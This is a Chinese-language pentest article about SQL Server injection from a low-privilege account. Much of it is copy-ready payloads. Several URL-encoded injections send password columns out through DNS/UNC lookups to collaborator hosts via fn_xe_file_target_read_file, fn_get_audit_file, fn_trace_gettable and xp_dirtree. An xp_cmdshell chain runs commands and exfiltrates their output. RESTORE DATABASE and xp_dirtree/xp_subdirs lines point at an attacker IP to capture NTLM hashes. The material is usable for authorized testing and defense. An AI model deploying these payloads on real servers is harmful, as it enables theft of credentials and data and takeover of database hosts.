长亭百川云 - 文章详情

SQL SERVER 低权限带外通信及NTLM中继

Security丨Art

38

2024-07-13

public非db_owner权限下除了注入找管理员密码外,主要考虑带外通信和ntlm中继,方便打一些大型目标时候绕过cdn找到服务器真实ip段,为后续渗透提供帮助

OPENROWSET
OPENROWSET(provider\_name,provider\_string,query\_syntax)  
  
  
provider\_name   
An OLE DB provider name.  
  
provider\_string   
The OLE DB connection string for the specified provider.  
  
query\_syntax   
A query syntax that returns a rowset.  

尝试打开一个远程数据库并执行sql查询,这个方法除了使用dns来进行带外通信外,还可以创建一个数据库将受害者的数据导入到创建好的数据库中,文章见

https://www.anquanke.com/post/id/248896#h2-24

也可以用来连接本地数据库在无法闭合的情况下执行堆叠查询,文章见

https://www.secpulse.com/archives/163638.html

该权限在2005版本以后默认关闭 ,需要执行以下命令打开Ad Hoc Distributed Queries

 EXEC sp\_configure 'show advanced options',1;   
 RECONFIGURE;   
 EXEC sp\_configure 'Ad Hoc Distributed Queries',1;   
 RECONFIGURE;

但是如果碰到和我我一样的低权限public用户,大概只能得到这样的结果

消息 15247,级别 16,状态 1,过程 sp\_configure,第 105 行  
用户没有执行此操作的权限。  
消息 5812,级别 14,状态 1,第 2 行  
您没有运行 RECONFIGURE 语句的权限。  
消息 15123,级别 16,状态 1,过程 sp\_configure,第 62 行  
配置选项 'Ad Hoc Distributed Queries' 不存在,也可能是高级选项。  
消息 5812,级别 14,状态 1,第 4 行  
您没有运行 RECONFIGURE 语句的权限。
fn_xe_file_target_read_file, fn_get_audit_file, and  fn_trace_gettable
fn\_xe\_file\_target\_read\_file  
  
https://vuln.app/getItem?id\= 1+and+exists(select+\*+from+fn\_xe\_file\_target\_read\_file('C:\\\*.xel','\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\\1.xem',null,null))  
  
要求:VIEW SERVER STATE权限
fn\_get\_audit\_file  
  
https://vuln.app/getItem?id\= 1%2b(select+1+where+exists(select+\*+from+fn\_get\_audit\_file('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\\',default,default)))  
  
要求:CONTROL SERVER权限
fn\_trace\_gettable  
  
https://vuln.app/ getItem?id\=1+and+exists(select+\*+from+fn\_trace\_gettable('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\\1.trc',default))  
  
要求:CONTROL SERVER权限

文章见:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

Public权限下可可执行dns带外通信,需闭合语句进行堆叠注入

;DECLARE+@q+varchar(1024);SET+@q='\'%2b'vps-ip'%2b(select+top+1+passwords+from+users);EXEC+master..xp_dirtree+@q;--+

  • 注释符号推荐使用单行注释符,多行注释会提示错误:遗漏结尾的注释符号

最后这种方式是要求权限最低的,也是public权限下唯一能执行的方式,如果可以开启xp_cmdshell,但无回显,可以创建临时表读结果带外带穿回来

;CREATE+TABLE+cmdtmp+(dir+varchar(8000));insert+into+cmdtmp(dir)+exec+master..xp\_cmdshell+'for+/r+c%3a\\+%25i+in+(1\*.aspx)+do+%40echo+%25i';DECLARE+@q+varchar(1024);SET+@q\='\\\\'%2b'vps-ip\\'%2b(select+dir+from+cmdtmp);EXEC+master..xp\_dirtree+@q;--+
ps.sqlserver2012 版本以后可以使用IIF()内构函数进行条件查询,同mysql中if()
IIF ( boolean\_expression, true\_value, false\_value )  
  
boolean\_expression  
A valid Boolean expression.  
  
If this argument is not a Boolean expression, then a syntax error is raised.  
  
true\_value  
Value to return if boolean\_expression evaluates to true.   
  
false\_value  
Value to return if boolean\_expression evaluates to false.

举个栗子

1%'+and+iif(exists(select+\*+from+master.dbo.sysobjects+where+xtype='x'+and+name='xp\_cmdshell'),'1','0')+like+'%1
ps.mssql还原数据库选项指定攻击者服务器,劫持mssql账户 NTLM hash

https://github.com/p0dalirius/MSSQL-Analysis-Coerce

restore database peking from disk \= '\\\\192.168.12.30\\backup\\a.bak'

本地复现成功

换成public用户成功,先去请求服务器验证身份信息再去判断用户对数据库有没有restore权限

类似的操作还有

`xp_dirtree '\\<attacker_IP>\any\thing'``exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'``EXEC master..xp_subdirs '\\<attacker_IP>\anything\'``EXEC master..xp_fileexist '\\<attacker_IP>\anything\'`
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2